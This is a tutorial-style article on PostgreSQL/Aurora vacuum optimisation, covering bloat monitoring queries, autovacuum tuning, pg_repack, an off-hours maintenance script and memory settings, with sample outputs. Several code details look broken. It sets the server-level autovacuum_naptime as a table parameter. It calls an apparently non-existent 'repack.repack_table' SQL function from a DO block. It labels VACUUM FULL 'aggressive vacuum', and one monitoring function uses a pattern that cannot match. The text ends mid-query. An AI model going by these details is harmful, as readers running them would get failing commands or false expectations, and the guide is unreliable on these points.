Deep Dive into PostgreSQL Aurora Vacuum Optimizations for Large Tables

When managing large PostgreSQL tables with frequent updates, vacuum operations become critical for maintaining database health and performance. In this comprehensive guide, we’ll explore vacuum optimization techniques, dive deep into the pg_repack extension, and provide hands-on examples you can run in your own environment.

1. Understanding the Problem

PostgreSQL uses Multi-Version Concurrency Control (MVCC) to handle concurrent transactions. When rows are updated or deleted, PostgreSQL doesn’t immediately remove the old versions—it marks them as dead tuples. Over time, these dead tuples accumulate, leading to:

Table bloat: Wasted disk space
Index bloat: Degraded query performance
Slower sequential scans: More pages to read
Transaction ID wraparound risks: In extreme cases

The VACUUM process reclaims this space, but for large, heavily-updated tables, standard vacuum strategies often fall short.

1.1 Setting Up Our Test Environment

Let’s create a realistic scenario to understand vacuum optimization. We’ll build a large user activity tracking table that receives constant updates—similar to what you might find in production systems tracking user behaviors, session data, or transaction logs.

1.2 Creating the Test Table

This schema represents a typical high-volume table with multiple indexes for different query patterns:

-- Create our test table
CREATE TABLE user_activities (
    id BIGSERIAL PRIMARY KEY,
    user_id INTEGER NOT NULL,
    activity_type VARCHAR(50) NOT NULL,
    activity_data JSONB,
    status VARCHAR(20) DEFAULT 'pending',
    processed_at TIMESTAMP,
    created_at TIMESTAMP DEFAULT NOW(),
    updated_at TIMESTAMP DEFAULT NOW(),
    metadata TEXT
);

-- Create indexes
CREATE INDEX idx_user_activities_user_id ON user_activities(user_id);
CREATE INDEX idx_user_activities_status ON user_activities(status);
CREATE INDEX idx_user_activities_created_at ON user_activities(created_at);
CREATE INDEX idx_user_activities_processed_at ON user_activities(processed_at) 
    WHERE processed_at IS NOT NULL;

Example Output:

CREATE TABLE
CREATE INDEX
CREATE INDEX
CREATE INDEX
CREATE INDEX

1.3 Population Script

This function generates realistic test data with varied activity types and statuses to simulate a production environment:

-- Function to generate random activity data
CREATE OR REPLACE FUNCTION generate_user_activities(num_rows INTEGER)
RETURNS void AS $$
DECLARE
    batch_size INTEGER := 10000;
    batches INTEGER;
    i INTEGER;
BEGIN
    batches := CEIL(num_rows::NUMERIC / batch_size);
    
    FOR i IN 1..batches LOOP
        INSERT INTO user_activities (
            user_id,
            activity_type,
            activity_data,
            status,
            created_at,
            metadata
        )
        SELECT
            (random() * 100000)::INTEGER + 1,
            (ARRAY['login', 'purchase', 'view', 'search', 'logout'])[FLOOR(random() * 5 + 1)],
            jsonb_build_object(
                'ip', '192.168.' || (random() * 255)::INTEGER || '.' || (random() * 255)::INTEGER,
                'user_agent', 'Mozilla/5.0',
                'session_id', md5(random()::TEXT)
            ),
            (ARRAY['pending', 'processing', 'completed'])[FLOOR(random() * 3 + 1)],
            NOW() - (random() * INTERVAL '90 days'),
            repeat('x', (random() * 500)::INTEGER + 100)
        FROM generate_series(1, LEAST(batch_size, num_rows - (i-1) * batch_size));
        
        RAISE NOTICE 'Inserted batch % of %', i, batches;
    END LOOP;
    
    RAISE NOTICE 'Completed inserting % rows', num_rows;
END;
$$ LANGUAGE plpgsql;

-- Populate with 5 million rows (adjust as needed)
SELECT generate_user_activities(5000000);

-- Analyze the table
ANALYZE user_activities;

Example Output:

CREATE FUNCTION
NOTICE:  Inserted batch 1 of 500
NOTICE:  Inserted batch 2 of 500
NOTICE:  Inserted batch 3 of 500
...
NOTICE:  Inserted batch 500 of 500
NOTICE:  Completed inserting 5000000 rows
 generate_user_activities 
---------------------------
 
(1 row)

ANALYZE

1.4 Simulating Heavy Update Load

Understanding bloat requires seeing it in action. This function simulates the update-heavy workload patterns that cause vacuum challenges in production systems:

-- Function to simulate continuous updates
CREATE OR REPLACE FUNCTION simulate_updates(duration_minutes INTEGER)
RETURNS void AS $$
DECLARE
    end_time TIMESTAMP;
    update_count INTEGER := 0;
BEGIN
    end_time := NOW() + (duration_minutes || ' minutes')::INTERVAL;
    
    WHILE NOW() < end_time LOOP
        -- Update random rows to 'processing' status
        UPDATE user_activities
        SET status = 'processing',
            updated_at = NOW()
        WHERE id IN (
            SELECT id FROM user_activities
            WHERE status = 'pending'
            ORDER BY random()
            LIMIT 1000
        );
        
        -- Update random rows to 'completed' status
        UPDATE user_activities
        SET status = 'completed',
            processed_at = NOW(),
            updated_at = NOW()
        WHERE id IN (
            SELECT id FROM user_activities
            WHERE status = 'processing'
            ORDER BY random()
            LIMIT 800
        );
        
        update_count := update_count + 1800;
        
        IF update_count % 10000 = 0 THEN
            RAISE NOTICE 'Processed % updates', update_count;
        END IF;
        
        PERFORM pg_sleep(0.1);
    END LOOP;
    
    RAISE NOTICE 'Completed % total updates', update_count;
END;
$$ LANGUAGE plpgsql;

-- Run for 5 minutes to generate bloat
-- SELECT simulate_updates(5);

Example Output (when running the simulate_updates function):

NOTICE:  Processed 10000 updates
NOTICE:  Processed 20000 updates
NOTICE:  Processed 30000 updates
...
NOTICE:  Completed 54000 total updates
 simulate_updates 
------------------
 
(1 row)

1.4 Monitoring Table Health

Before optimizing vacuum operations, you need visibility into your table’s health metrics. These queries provide essential diagnostics for understanding bloat levels and vacuum effectiveness.

1.5 Check Table and Index Bloat

This comprehensive query gives you a snapshot of your table’s overall health, including size metrics and tuple statistics:

-- Comprehensive bloat analysis
SELECT
    schemaname,
    tablename,
    pg_size_pretty(pg_total_relation_size(schemaname||'.'||tablename)) AS total_size,
    pg_size_pretty(pg_relation_size(schemaname||'.'||tablename)) AS table_size,
    pg_size_pretty(pg_total_relation_size(schemaname||'.'||tablename) - 
                   pg_relation_size(schemaname||'.'||tablename)) AS indexes_size,
    n_live_tup,
    n_dead_tup,
    ROUND(100 * n_dead_tup / NULLIF(n_live_tup + n_dead_tup, 0), 2) AS dead_tuple_percent,
    last_vacuum,
    last_autovacuum,
    last_analyze,
    last_autoanalyze
FROM pg_stat_user_tables
WHERE tablename = 'user_activities';

Example Output:

 schemaname |    tablename     | total_size | table_size | indexes_size | n_live_tup | n_dead_tup | dead_tuple_percent |       last_vacuum       |     last_autovacuum     |       last_analyze       |     last_autoanalyze     
------------+------------------+------------+------------+--------------+------------+------------+--------------------+-------------------------+-------------------------+--------------------------+--------------------------
 public     | user_activities  | 4892 MB    | 3214 MB    | 1678 MB      |    5000000 |     847523 |              14.51 | 2024-11-16 02:15:33.421 | 2024-11-17 08:22:14.832 | 2024-11-16 02:15:45.123 | 2024-11-17 08:22:28.945
(1 row)

1.6 Detailed Bloat Estimation

For a more precise understanding of how much space is wasted, this query calculates bloat based on tuple density:

-- More accurate bloat estimation
WITH table_stats AS (
    SELECT
        schemaname,
        tablename,
        n_live_tup,
        n_dead_tup,
        pg_relation_size(schemaname||'.'||tablename) AS table_bytes,
        (n_live_tup + n_dead_tup)::NUMERIC AS total_tuples
    FROM pg_stat_user_tables
    WHERE tablename = 'user_activities'
),
bloat_calc AS (
    SELECT
        *,
        CASE 
            WHEN total_tuples > 0 THEN
                table_bytes / NULLIF(total_tuples, 0)
            ELSE 0
        END AS bytes_per_tuple,
        CASE
            WHEN n_live_tup > 0 THEN
                table_bytes * (n_dead_tup::NUMERIC / NULLIF(n_live_tup + n_dead_tup, 0))
            ELSE 0
        END AS bloat_bytes
    FROM table_stats
)
SELECT
    tablename,
    pg_size_pretty(table_bytes) AS current_size,
    pg_size_pretty(bloat_bytes::BIGINT) AS estimated_bloat,
    ROUND(100 * bloat_bytes / NULLIF(table_bytes, 0), 2) AS bloat_percent,
    n_live_tup,
    n_dead_tup
FROM bloat_calc;

Example Output:

    tablename     | current_size | estimated_bloat | bloat_percent | n_live_tup | n_dead_tup 
------------------+--------------+-----------------+---------------+------------+------------
 user_activities  | 3214 MB      | 466 MB          |         14.51 |    5000000 |     847523
(1 row)

1.7 Check Current Vacuum Activity

When troubleshooting vacuum issues, it’s crucial to see what’s actually running:

-- Monitor active vacuum operations
SELECT
    pid,
    datname,
    usename,
    state,
    query_start,
    NOW() - query_start AS duration,
    query
FROM pg_stat_activity
WHERE query LIKE '%VACUUM%'
  AND query NOT LIKE '%pg_stat_activity%';

Example Output:

  pid  |  datname   | usename  |  state  |         query_start         |    duration     |                        query                        
-------+------------+----------+---------+-----------------------------+-----------------+-----------------------------------------------------
 12847 | production | postgres | active  | 2024-11-17 09:15:22.534829  | 00:03:17.482341 | VACUUM (VERBOSE, ANALYZE) user_activities;
(1 row)

2. Standard Vacuum Strategies

Understanding the different vacuum options is essential for choosing the right approach for your workload. Each vacuum variant serves different purposes and has different performance characteristics.

2.1 Manual VACUUM

These are the basic vacuum commands you’ll use for routine maintenance:

-- Basic vacuum (doesn't lock table)
VACUUM user_activities;

-- Vacuum with analyze
VACUUM ANALYZE user_activities;

-- Verbose output for monitoring
VACUUM (VERBOSE, ANALYZE) user_activities;

-- Aggressive vacuum (more thorough, slower)
VACUUM (FULL, VERBOSE, ANALYZE) user_activities;

Example Output (VACUUM VERBOSE):

INFO:  vacuuming "public.user_activities"
INFO:  scanned index "user_activities_pkey" to remove 847523 row versions
DETAIL:  CPU: user: 2.45 s, system: 0.89 s, elapsed: 12.34 s
INFO:  scanned index "idx_user_activities_user_id" to remove 847523 row versions
DETAIL:  CPU: user: 1.87 s, system: 0.67 s, elapsed: 9.12 s
INFO:  scanned index "idx_user_activities_status" to remove 847523 row versions
DETAIL:  CPU: user: 1.92 s, system: 0.71 s, elapsed: 9.45 s
INFO:  scanned index "idx_user_activities_created_at" to remove 847523 row versions
DETAIL:  CPU: user: 1.88 s, system: 0.68 s, elapsed: 9.23 s
INFO:  "user_activities": removed 847523 row versions in 112456 pages
DETAIL:  CPU: user: 3.21 s, system: 1.45 s, elapsed: 18.67 s
INFO:  "user_activities": found 847523 removable, 5000000 nonremovable row versions in 425678 out of 425678 pages
DETAIL:  0 dead row versions cannot be removed yet, oldest xmin: 123456789
There were 0 unused item identifiers.
Skipped 0 pages due to buffer pins, 0 frozen pages.
0 pages are entirely empty.
CPU: user: 11.33 s, system: 4.40 s, elapsed: 58.81 s.
VACUUM

Note: VACUUM FULL requires an ACCESS EXCLUSIVE lock and rewrites the entire table, making it unsuitable for production during business hours.

2.2 Configuring Autovacuum

Aurora PostgreSQL has autovacuum enabled by default, but tuning these parameters is critical for large, frequently-updated tables:

-- Check current autovacuum settings
SHOW autovacuum_vacuum_threshold;
SHOW autovacuum_vacuum_scale_factor;
SHOW autovacuum_vacuum_cost_delay;
SHOW autovacuum_vacuum_cost_limit;

-- Custom autovacuum settings for our table
ALTER TABLE user_activities SET (
    autovacuum_vacuum_threshold = 5000,
    autovacuum_vacuum_scale_factor = 0.05,  -- More aggressive (default 0.2)
    autovacuum_vacuum_cost_delay = 10,      -- Faster vacuum (default 20)
    autovacuum_analyze_threshold = 2500,
    autovacuum_analyze_scale_factor = 0.05
);

-- For extremely busy tables
ALTER TABLE user_activities SET (
    autovacuum_vacuum_threshold = 1000,
    autovacuum_vacuum_scale_factor = 0.02,
    autovacuum_vacuum_cost_delay = 2,
    autovacuum_vacuum_cost_limit = 2000,    -- Higher I/O limit
    autovacuum_naptime = 10                 -- Check more frequently
);

Example Output:

 autovacuum_vacuum_threshold 
-----------------------------
 50
(1 row)

 autovacuum_vacuum_scale_factor 
--------------------------------
 0.2
(1 row)

 autovacuum_vacuum_cost_delay 
------------------------------
 20
(1 row)

 autovacuum_vacuum_cost_limit 
------------------------------
 200
(1 row)

ALTER TABLE
ALTER TABLE

These are table-level storage parameters, not server-level GUC (Grand Unified Configuration) parameters, so no restart is needed. These settings take effect immediately without requiring a database or server restart.

Server-Level vs Table-Level

These specific parameters are being set at the table level using ALTER TABLE ... SET, which means they only affect the user_activities table.

However, these same parameters do exist as server-level GUC parameters with slightly different names:

autovacuum_vacuum_threshold (server-level GUC exists)
autovacuum_vacuum_scale_factor (server-level GUC exists)
autovacuum_vacuum_cost_delay (server-level GUC exists)
autovacuum_analyze_threshold (server-level GUC exists)
autovacuum_analyze_scale_factor (server-level GUC exists)

When set at the server level in postgresql.conf, those would require a reload (pg_ctl reload or SELECT pg_reload_conf()), but not a full restart.

Your Command

Your ALTER TABLE command is overriding the server-level defaults specifically for the user_activities table, making autovacuum more aggressive for that table. This is a common approach for high-churn tables and applies instantly.

2.3 The pg_repack Extension

pg_repack is a game-changer for managing large tables with bloat. While VACUUM FULL requires a long-duration exclusive lock that blocks all operations, pg_repack uses an innovative approach that allows the table to remain online and accessible throughout most of the operation.

Understanding pg_repack’s Architecture

pg_repack works fundamentally differently from traditional vacuum operations. Here’s what makes it special:

The Problem with VACUUM FULL:

Acquires an ACCESS EXCLUSIVE lock for the entire operation
Blocks all reads and writes
For a 100GB table, this could mean hours of downtime
Single-threaded operation

How pg_repack Solves This:

pg_repack employs a clever multi-stage approach:

Log Table Creation: Creates a temporary log table to capture changes made during the rebuild
Online Rebuild: Builds a new, defragmented copy of your table while the original remains fully operational
Change Capture: Records all INSERT, UPDATE, and DELETE operations in the log table
Change Replay: Applies the logged changes to the new table
Atomic Swap: Takes a brief exclusive lock (typically < 1 second) to swap the old and new tables
Index Rebuild: Rebuilds indexes concurrently on the new table

Key Benefits:

Minimal Locking: Only a brief lock during the table swap
Online Operation: Applications continue running normally
Better Efficiency: Rewrites data in optimal order, improving subsequent query performance
Parallel Processing: Can use multiple workers for faster completion
Transaction Safety: All changes are captured and replayed, ensuring data consistency

2.4 Installing pg_repack on Aurora

Setting up pg_repack is straightforward on Aurora PostgreSQL:

-- Check available extensions
SELECT * FROM pg_available_extensions WHERE name = 'pg_repack';

-- Install pg_repack (requires rds_superuser role)
CREATE EXTENSION pg_repack;

-- Verify installation
\dx pg_repack

Example Output:

   name    | default_version | installed_version |                         comment                          
-----------+-----------------+-------------------+----------------------------------------------------------
 pg_repack | 1.4.8           |                   | Reorganize tables in PostgreSQL databases with minimal locks
(1 row)

CREATE EXTENSION

                                    List of installed extensions
   Name    | Version |   Schema   |                         Description                          
-----------+---------+------------+--------------------------------------------------------------
 pg_repack | 1.4.8   | public     | Reorganize tables in PostgreSQL databases with minimal locks
(1 row)

2.5 How pg_repack Works (Technical Deep Dive)

Let’s break down the pg_repack process with more detail:

Phase 1: Setup (seconds)

Creates schema repack for temporary objects
Creates a log table repack.log_XXXXX with triggers
Installs triggers on source table to capture changes
Takes a snapshot of current transaction ID

Phase 2: Initial Copy (majority of time)

Copies all data from original table to repack.table_XXXXX
Sorts data optimally (by primary key or specified order)
Meanwhile, all changes are captured in the log table
No locks on the original table during this phase

Phase 3: Delta Application (proportional to changes)

Reads the log table
Applies INSERT/UPDATE/DELETE operations to new table
May iterate if many changes occurred during Phase 2

Phase 4: Final Swap (< 1 second typically)

Acquires ACCESS EXCLUSIVE lock
Applies any final logged changes
Swaps the table definitions atomically
Releases lock
Drops old table and log table

Phase 5: Index Rebuild (concurrent)

Rebuilds all indexes on new table
Uses CREATE INDEX CONCURRENTLY to avoid blocking

2.6 Basic pg_repack Usage

From the command line (requires appropriate IAM/credentials for Aurora):

# Basic repack
pg_repack -h your-aurora-cluster.region.rds.amazonaws.com \
          -U your_username \
          -d your_database \
          -t user_activities

# With specific options
pg_repack -h your-aurora-cluster.region.rds.amazonaws.com \
          -U your_username \
          -d your_database \
          -t user_activities \
          --no-order \
          --no-kill-backend \
          -j 4  # Use 4 parallel workers

Example Output:

INFO: repacking table "public.user_activities"
INFO: disabling triggers
INFO: creating temporary table
INFO: copying rows
INFO: 5000000 rows copied
INFO: creating indexes
INFO: creating index "user_activities_pkey"
INFO: creating index "idx_user_activities_user_id"
INFO: creating index "idx_user_activities_status"
INFO: creating index "idx_user_activities_created_at"
INFO: creating index "idx_user_activities_processed_at"
INFO: swapping tables
INFO: applying log
INFO: 12847 log rows applied
INFO: enabling triggers
INFO: dropping old table
INFO: Repacked user_activities (3.2GB -> 2.7GB), 15.6% space reclaimed
NOTICE: TABLE "public.user_activities" repacked successfully

2.7 Advanced pg_repack with SQL Interface

You can also trigger pg_repack from within PostgreSQL:

-- Repack a specific table
SELECT repack.repack_table('public.user_activities');

-- Repack with options
SELECT repack.repack_table(
    'public.user_activities',
    'REINDEX'  -- Rebuild indexes too
);

-- Check pg_repack progress (run in another session)
SELECT
    schemaname,
    tablename,
    pg_size_pretty(pg_total_relation_size(schemaname||'.'||tablename)) AS size,
    n_tup_ins,
    n_tup_upd,
    n_tup_del
FROM pg_stat_user_tables
WHERE tablename LIKE '%repack%';

Example Output:

 repack_table 
--------------
 t
(1 row)

 schemaname |         tablename          |  size   | n_tup_ins | n_tup_upd | n_tup_del 
------------+----------------------------+---------+-----------+-----------+-----------
 repack     | table_12847                | 2689 MB |   5000000 |         0 |         0
 repack     | log_12847                  | 145 MB  |     12847 |         0 |         0
(2 rows)

2.8 Monitoring pg_repack Progress

Real-time monitoring helps you understand how long the operation will take:

-- Create a monitoring function
CREATE OR REPLACE FUNCTION monitor_repack()
RETURNS TABLE (
    table_name TEXT,
    phase TEXT,
    elapsed_time INTERVAL,
    table_size TEXT,
    estimated_remaining TEXT
) AS $$
BEGIN
    RETURN QUERY
    SELECT
        t.tablename::TEXT,
        CASE
            WHEN t.tablename LIKE 'repack.table_%' THEN 'Building new table'
            WHEN t.tablename LIKE 'repack.log_%' THEN 'Logging changes'
            ELSE 'Processing'
        END AS phase,
        NOW() - ps.query_start AS elapsed,
        pg_size_pretty(pg_total_relation_size(t.schemaname||'.'||t.tablename)),
        '~' || ROUND(EXTRACT(EPOCH FROM (NOW() - ps.query_start)) * 1.5 / 60) || ' min' AS est_remaining
    FROM pg_stat_user_tables t
    LEFT JOIN pg_stat_activity ps ON ps.query LIKE '%repack%'
    WHERE t.schemaname = 'repack'
       OR ps.query LIKE '%repack%';
END;
$$ LANGUAGE plpgsql;

-- Monitor during repack
SELECT * FROM monitor_repack();

Example Output:

CREATE FUNCTION

       table_name       |       phase        | elapsed_time  | table_size | estimated_remaining 
------------------------+--------------------+---------------+------------+---------------------
 repack.table_12847     | Building new table | 00:08:23.457  | 2689 MB    | ~13 min
 repack.log_12847       | Logging changes    | 00:08:23.457  | 145 MB     | ~13 min
(2 rows)

3.0 Off-Hours Maintenance Script

This comprehensive script is designed to run during low-traffic periods and automatically selects the best vacuum strategy based on bloat levels:

-- ============================================
-- OFF-HOURS TABLE MAINTENANCE SCRIPT
-- Run during maintenance windows
-- ============================================

DO $$
DECLARE
    v_start_time TIMESTAMP;
    v_table_size BIGINT;
    v_dead_tuples BIGINT;
    v_bloat_percent NUMERIC;
    v_action TEXT;
    v_repack_available BOOLEAN;
BEGIN
    v_start_time := NOW();
    
    RAISE NOTICE '========================================';
    RAISE NOTICE 'Starting maintenance at %', v_start_time;
    RAISE NOTICE '========================================';
    
    -- Check if pg_repack is available
    SELECT EXISTS (
        SELECT 1 FROM pg_extension WHERE extname = 'pg_repack'
    ) INTO v_repack_available;
    
    -- Gather current statistics
    SELECT
        pg_relation_size('user_activities'),
        n_dead_tup,
        ROUND(100.0 * n_dead_tup / NULLIF(n_live_tup + n_dead_tup, 0), 2)
    INTO v_table_size, v_dead_tuples, v_bloat_percent
    FROM pg_stat_user_tables
    WHERE tablename = 'user_activities';
    
    RAISE NOTICE 'Current table size: %', pg_size_pretty(v_table_size);
    RAISE NOTICE 'Dead tuples: %', v_dead_tuples;
    RAISE NOTICE 'Bloat percentage: %', v_bloat_percent;
    
    -- Decide on action based on bloat level
    IF v_bloat_percent > 50 THEN
        v_action := 'pg_repack (high bloat)';
        
        IF v_repack_available THEN
            RAISE NOTICE 'Bloat > 50%: Executing pg_repack...';
            PERFORM repack.repack_table('public.user_activities');
            RAISE NOTICE 'pg_repack completed';
        ELSE
            RAISE NOTICE 'pg_repack not available, running VACUUM FULL...';
            RAISE NOTICE 'WARNING: This will lock the table!';
            EXECUTE 'VACUUM FULL ANALYZE user_activities';
        END IF;
        
    ELSIF v_bloat_percent > 20 THEN
        v_action := 'aggressive_vacuum';
        RAISE NOTICE 'Bloat 20-50%: Running aggressive VACUUM...';
        EXECUTE 'VACUUM (VERBOSE, ANALYZE, FREEZE) user_activities';
        
    ELSIF v_bloat_percent > 10 THEN
        v_action := 'standard_vacuum';
        RAISE NOTICE 'Bloat 10-20%: Running standard VACUUM...';
        EXECUTE 'VACUUM ANALYZE user_activities';
        
    ELSE
        v_action := 'analyze_only';
        RAISE NOTICE 'Bloat < 10%: Running ANALYZE only...';
        EXECUTE 'ANALYZE user_activities';
    END IF;
    
    -- Rebuild indexes if needed
    RAISE NOTICE 'Checking index health...';
    
    -- Reindex if bloated
    IF v_bloat_percent > 30 THEN
        RAISE NOTICE 'Rebuilding indexes concurrently...';
        EXECUTE 'REINDEX INDEX CONCURRENTLY idx_user_activities_user_id';
        EXECUTE 'REINDEX INDEX CONCURRENTLY idx_user_activities_status';
        EXECUTE 'REINDEX INDEX CONCURRENTLY idx_user_activities_created_at';
        EXECUTE 'REINDEX INDEX CONCURRENTLY idx_user_activities_processed_at';
    END IF;
    
    -- Final statistics
    SELECT
        pg_relation_size('user_activities'),
        n_dead_tup,
        ROUND(100.0 * n_dead_tup / NULLIF(n_live_tup + n_dead_tup, 0), 2)
    INTO v_table_size, v_dead_tuples, v_bloat_percent
    FROM pg_stat_user_tables
    WHERE tablename = 'user_activities';
    
    RAISE NOTICE '========================================';
    RAISE NOTICE 'Maintenance completed in %', NOW() - v_start_time;
    RAISE NOTICE 'Action taken: %', v_action;
    RAISE NOTICE 'Final table size: %', pg_size_pretty(v_table_size);
    RAISE NOTICE 'Final dead tuples: %', v_dead_tuples;
    RAISE NOTICE 'Final bloat percentage: %', v_bloat_percent;
    RAISE NOTICE '========================================';
    
END $$;

Example Output:

NOTICE:  ========================================
NOTICE:  Starting maintenance at 2024-11-17 02:00:00.123456
NOTICE:  ========================================
NOTICE:  Current table size: 3214 MB
NOTICE:  Dead tuples: 847523
NOTICE:  Bloat percentage: 14.51
NOTICE:  Bloat 10-20%: Running standard VACUUM...
INFO:  vacuuming "public.user_activities"
INFO:  "user_activities": removed 847523 row versions in 112456 pages
INFO:  "user_activities": found 847523 removable, 5000000 nonremovable row versions
NOTICE:  Checking index health...
NOTICE:  ========================================
NOTICE:  Maintenance completed in 00:01:23.847293
NOTICE:  Action taken: standard_vacuum
NOTICE:  Final table size: 2987 MB
NOTICE:  Final dead tuples: 0
NOTICE:  Final bloat percentage: 0.00
NOTICE:  ========================================
DO

3.1 Scheduling the Maintenance Script

For Aurora PostgreSQL, you can use AWS EventBridge with Lambda to schedule this:

# Lambda function to execute maintenance
import boto3
import psycopg2
import os

def lambda_handler(event, context):
    conn = psycopg2.connect(
        host=os.environ['DB_HOST'],
        database=os.environ['DB_NAME'],
        user=os.environ['DB_USER'],
        password=os.environ['DB_PASSWORD']
    )
    
    with conn.cursor() as cur:
        # Read and execute the maintenance script
        with open('maintenance_script.sql', 'r') as f:
            cur.execute(f.read())
        conn.commit()
    
    conn.close()
    return {'statusCode': 200, 'body': 'Maintenance completed'}

Or use a cron job on an EC2 instance:

# Add to crontab for 2 AM daily maintenance
0 2 * * * psql -h your-aurora-cluster.region.rds.amazonaws.com \
               -U your_user \
               -d your_db \
               -f /path/to/maintenance_script.sql \
               >> /var/log/postgres_maintenance.log 2>&1

4.0 Memory Configuration for Vacuum Operations

While tuning autovacuum thresholds and cost-based settings is crucial, proper memory allocation can dramatically improve vacuum performance, especially for large tables. Two key parameters control how much memory vacuum operations can use.

Understanding Vacuum Memory Parameters

maintenance_work_mem: This parameter controls the maximum amount of memory used by maintenance operations including VACUUM, CREATE INDEX, and ALTER TABLE ADD FOREIGN KEY. The default is typically 64MB, which is often insufficient for large tables.

-- Check current setting
SHOW maintenance_work_mem;

-- Set globally (requires reload)
ALTER SYSTEM SET maintenance_work_mem = '2GB';
SELECT pg_reload_conf();

-- Or set per session for manual vacuum
SET maintenance_work_mem = '4GB';
VACUUM VERBOSE user_activities;

autovacuum_work_mem: Introduced in PostgreSQL 9.4, this parameter specifically controls memory for autovacuum workers. If set to -1 (default), it falls back to maintenance_work_mem. Setting this separately allows you to allocate different memory limits for automatic vs. manual vacuum operations.

-- Check current setting
SHOW autovacuum_work_mem;

-- Set globally (requires reload)
ALTER SYSTEM SET autovacuum_work_mem = '1GB';
SELECT pg_reload_conf();

4.1 How Memory Affects Vacuum Performance

During vacuum, PostgreSQL maintains an array of dead tuple identifiers (TIDs) in memory. When this array fills up, vacuum must:

Stop scanning the table
Scan and clean all indexes
Remove the dead tuples from the heap
Continue scanning for more dead tuples

This process repeats until the entire table is processed. More memory means:

Fewer index scan passes (expensive operation)
Better vacuum throughput
Reduced overall vacuum time

4.2 Memory Sizing Guidelines

Calculate required memory: Each dead tuple requires 6 bytes of memory. For a table with many dead tuples:

required_memory = (dead_tuples × 6 bytes) + overhead

Best practices:

Small instances: Set maintenance_work_mem to 256MB-512MB
Medium instances: 1GB-2GB for maintenance_work_mem, 512MB-1GB for autovacuum_work_mem
Large instances: 4GB-8GB for maintenance_work_mem, 1GB-2GB per autovacuum worker
Critical consideration: Remember autovacuum_work_mem is allocated per worker, so with autovacuum_max_workers = 5 and autovacuum_work_mem = 2GB, you could use up to 10GB total

4.3 Aurora-Specific Considerations

For Amazon Aurora PostgreSQL:

Aurora uses shared storage, so vacuum doesn’t rewrite data to new storage
Memory settings still impact performance of index cleaning phases
Monitor using CloudWatch metric FreeableMemory to ensure you’re not over-allocating
Consider Aurora’s instance size when setting these parameters

-- Conservative Aurora settings for db.r5.2xlarge (64GB RAM)
ALTER SYSTEM SET maintenance_work_mem = '2GB';
ALTER SYSTEM SET autovacuum_work_mem = '1GB';
ALTER SYSTEM SET autovacuum_max_workers = 3;
SELECT pg_reload_conf();

4.4 Monitoring Memory Usage

Check if vacuum operations are hitting memory limits:

-- Check for multiple index scan passes (indicates insufficient memory)
SELECT 
    schemaname,
    relname,
    last_vacuum,
    n_dead_tup,
    round(pg_table_size(schemaname||'.'||relname)::numeric / (1024^3), 2) as table_size_gb,
    round((n_dead_tup * 6) / (1024^2), 2) as min_required_mem_mb
FROM pg_stat_user_tables
WHERE n_dead_tup > 0
ORDER BY n_dead_tup DESC
LIMIT 20;

When running manual vacuum with VERBOSE, watch for messages like:

INFO:  index "user_activities_pkey" now contains 1000000 row versions in 2745 pages
INFO:  "user_activities": removed 500000 row versions in 12500 pages

If you see multiple cycles of “removed X row versions”, your maintenance_work_mem may be too small.

4.4 Recommended Configuration Workflow

Assess current state: Run the estimation script below to calculate memory requirements
Set conservative values: Start with moderate memory allocations
Monitor performance: Watch vacuum duration and CloudWatch metrics
Iterate: Gradually increase memory if vacuum is still slow and memory is available
Balance resources: Ensure vacuum memory doesn’t starve your application connections

4.7 SQL Script: Estimate Required Vacuum Memory

This script analyzes your largest tables and estimates the optimal maintenance_work_mem and autovacuum_work_mem settings:

-- Vacuum Memory Requirement Estimator
-- This script analyzes table sizes and estimates memory needed for efficient vacuum operations

WITH table_stats AS (
    SELECT
        schemaname,
        tablename,
        pg_total_relation_size(schemaname||'.'||tablename) as total_size_bytes,
        pg_table_size(schemaname||'.'||tablename) as table_size_bytes,
        pg_indexes_size(schemaname||'.'||tablename) as indexes_size_bytes,
        n_live_tup,
        n_dead_tup,
        last_vacuum,
        last_autovacuum,
        -- Estimate potential dead tuples based on table size and typical churn
        GREATEST(n_dead_tup, n_live_tup * 0.20) as estimated_max_dead_tup
    FROM pg_stat_user_tables
    WHERE schemaname NOT IN ('pg_catalog', 'information_schema')
),
memory_calculations AS (
    SELECT
        schemaname,
        tablename,
        -- Size formatting
        pg_size_pretty(total_size_bytes) as total_size,
        pg_size_pretty(table_size_bytes) as table_size,
        pg_size_pretty(indexes_size_bytes) as indexes_size,
        -- Tuple counts
        n_live_tup,
        n_dead_tup,
        estimated_max_dead_tup::bigint,
        -- Memory calculations (6 bytes per dead tuple TID)
        round((estimated_max_dead_tup * 6) / (1024.0 * 1024.0), 2) as min_memory_mb,
        round((estimated_max_dead_tup * 6 * 1.2) / (1024.0 * 1024.0), 2) as recommended_memory_mb,
        -- Vacuum history
        last_vacuum,
        last_autovacuum,
        -- Number of index scan passes with current maintenance_work_mem
        CASE 
            WHEN estimated_max_dead_tup = 0 THEN 0
            ELSE CEIL(
                (estimated_max_dead_tup * 6.0) / 
                (SELECT setting::bigint * 1024 FROM pg_settings WHERE name = 'maintenance_work_mem')
            )::integer
        END as estimated_index_scans
    FROM table_stats
),
system_config AS (
    SELECT
        name,
        setting,
        unit,
        CASE 
            WHEN unit = 'kB' THEN (setting::bigint / 1024)::text || ' MB'
            WHEN unit = 'MB' THEN setting || ' MB'
            WHEN unit = 'GB' THEN setting || ' GB'
            ELSE setting || COALESCE(' ' || unit, '')
        END as formatted_value
    FROM pg_settings
    WHERE name IN ('maintenance_work_mem', 'autovacuum_work_mem', 'autovacuum_max_workers')
)
SELECT
    '=== CURRENT MEMORY CONFIGURATION ===' as info,
    NULL::text as schemaname,
    NULL::text as tablename,
    NULL::text as total_size,
    NULL::bigint as n_live_tup,
    NULL::bigint as n_dead_tup,
    NULL::bigint as estimated_max_dead_tup,
    NULL::numeric as min_memory_mb,
    NULL::numeric as recommended_memory_mb,
    NULL::integer as estimated_index_scans,
    NULL::timestamp as last_vacuum,
    NULL::timestamp as last_autovacuum
UNION ALL
SELECT
    name || ': ' || formatted_value,
    NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
FROM system_config
UNION ALL
SELECT
    '=== TOP TABLES BY SIZE (Memory Requirements) ===' as info,
    NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
UNION ALL
SELECT
    CASE 
        WHEN recommended_memory_mb > 1024 THEN 'Warn:  ' || tablename
        ELSE tablename
    END as info,
    schemaname,
    tablename,
    total_size,
    n_live_tup,
    n_dead_tup,
    estimated_max_dead_tup,
    min_memory_mb,
    recommended_memory_mb,
    estimated_index_scans,
    last_vacuum,
    last_autovacuum
